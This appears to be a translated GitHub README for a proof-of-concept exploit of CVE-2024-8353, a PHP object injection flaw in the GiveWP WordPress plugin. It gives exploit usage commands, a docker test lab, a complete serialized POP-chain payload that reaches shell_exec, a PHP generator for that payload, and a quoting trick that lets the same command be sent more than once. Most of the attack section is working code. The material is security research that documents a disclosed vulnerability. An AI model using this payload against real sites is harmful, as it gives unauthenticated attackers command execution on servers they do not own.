
GiveWP PHP Object Injection exploit
本文是由EQSTLab发布的研究文章。 感谢cuokon,他发现了此漏洞。
进一步分析CVE-2024-5932 EQST Insight R&T(PDF文件)。
https://github.com/user-attachments/assets/085c2f81-2894-4bb7-a3f5-62406dcb1021
★ CVE-2024-8353 任意文件删除与RCE PoC ★
CVE-2024-8353:GiveWP PHP 对象注入漏洞
描述:givewp – 捐赠插件与募捐平台插件(WordPress)在所有版本(包含3.16.1)中存在PHP对象注入漏洞,通过反序列化不可信输入(如give_title和card_address参数)触发。这使得未认证攻击者能够注入PHP对象。进一步存在的POP链允许攻击者删除任意文件并实现远程代码执行。这本质上与CVE-2024-5932相同,但发现user_info上的stripslashes_deep函数导致is_serialized检查被绕过。该问题在3.16.1中基本修复,并在3.16.2中增加了进一步加固。
⚠️使用PoC时,由于“give_title”存储在DB中并会检查重复,每条命令只能使用一次。此时可以利用一些Linux技巧,特别是引号。例如,使用“echo”时,可以键入“e‘’cho”来复用。
git clone https://github.com/EQSTLab/CVE-2024-8353.git
cd CVE-2024-8353
pip install -r requirements.txt
# 远程代码执行
python CVE-2024-8353.py -u <URL_TO_EXPLOIT> -c <COMMAND_TO_EXECUTE>
python CVE-2024-8353.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"
CVE-2024-8353.py


services:
db:
image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060
wordpress:
image: wordpress:6.3.2
ports:
- 80:80
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
https://downloads.wordpress.org/plugin/give.3.16.0.zip
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins



你可以使用PHPSTORM调试你的GiveWP。
pecl install xdebug
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1
...然后你就可以调试你的wordpress了。


本质上,流程与CVE-2024-5932相同,区别在于“give_title”参数也增加了“is_serialized”逻辑。该方法判定如果索引1处没有:(冒号),则数据不是序列化的。

在“is_serialized”方法之后,“stripslashes_deep”函数剥除反斜杠。因此,前导反斜杠()被移除,序列化数据得以传递。

\O:19:"Stripe\\\\StripeObject":1:{s:10:"\0*\0_values";a:1:{s:3:"foo";O:62:"Give\\\\PaymentGateways\\\\DataTransferObjects\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\0*\0container";O:33:"Give\\\\Vendors\\\\Faker\\\\ValidGenerator":3:{s:12:"\0*\0validator";s:10:"shell_exec";s:12:"\0*\0generator";O:34:"Give\\\\Onboarding\\\\SettingsRepository":1:{s:11:"\0*\0settings";a:1:{s:8:"address1";s:15:"touch+/tmp/test";}}s:13:"\0*\0maxRetries";i:10;}}}}}}
Stripe\StripeObject->__toString()
Stripe\StripeObject->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()
Give->__get('address1')
\Give\Vendors\Faker\ValidGenerator->get('address1')
\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')
Give\Onboarding\SettingsRepository->get('address1') (返回命令字符串)
call_user_func('shell_exec', 'command')
PoC.php
<?php
namespace Stripe{
class StripeObject
{
protected $_values;
public function __construct(){
$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
}
}
}
namespace Give\PaymentGateways\DataTransferObjects{
class GiveInsertPaymentData{
public $userInfo;
public function __construct()
{
$this->userInfo['address'] = new \Give();
}
}
}
namespace{
class Give{
protected $container;
public function __construct()
{
$this->container = new \Give\Vendors\Faker\ValidGenerator();
}
}
}
namespace Give\Vendors\Faker{
class ValidGenerator{
protected $validator;
protected $generator;
public function __construct()
{
$this->validator = "shell_exec";
$this->generator = new \Give\Onboarding\SettingsRepository();
}
}
}
namespace Give\Onboarding{
class SettingsRepository{
protected $settings;
public function __construct()
{
$this -> settings['address1'] = 'touch /tmp/EQSTtest';
}
}
}
namespace{
$a = new Stripe\StripeObject();
echo serialize($a);
}
POP链允许远程命令执行。

此仓库并非用于CVE-2024-8353的对象注入漏洞利用。本项目的目的是帮助人们了解此漏洞,并可能用于测试自己的应用程序。
我们每月发布一次CVE和恶意软件分析。如果您感兴趣,请通过以下链接查看我们的出版物。 https://www.skshieldus.com/eng/business/insight.do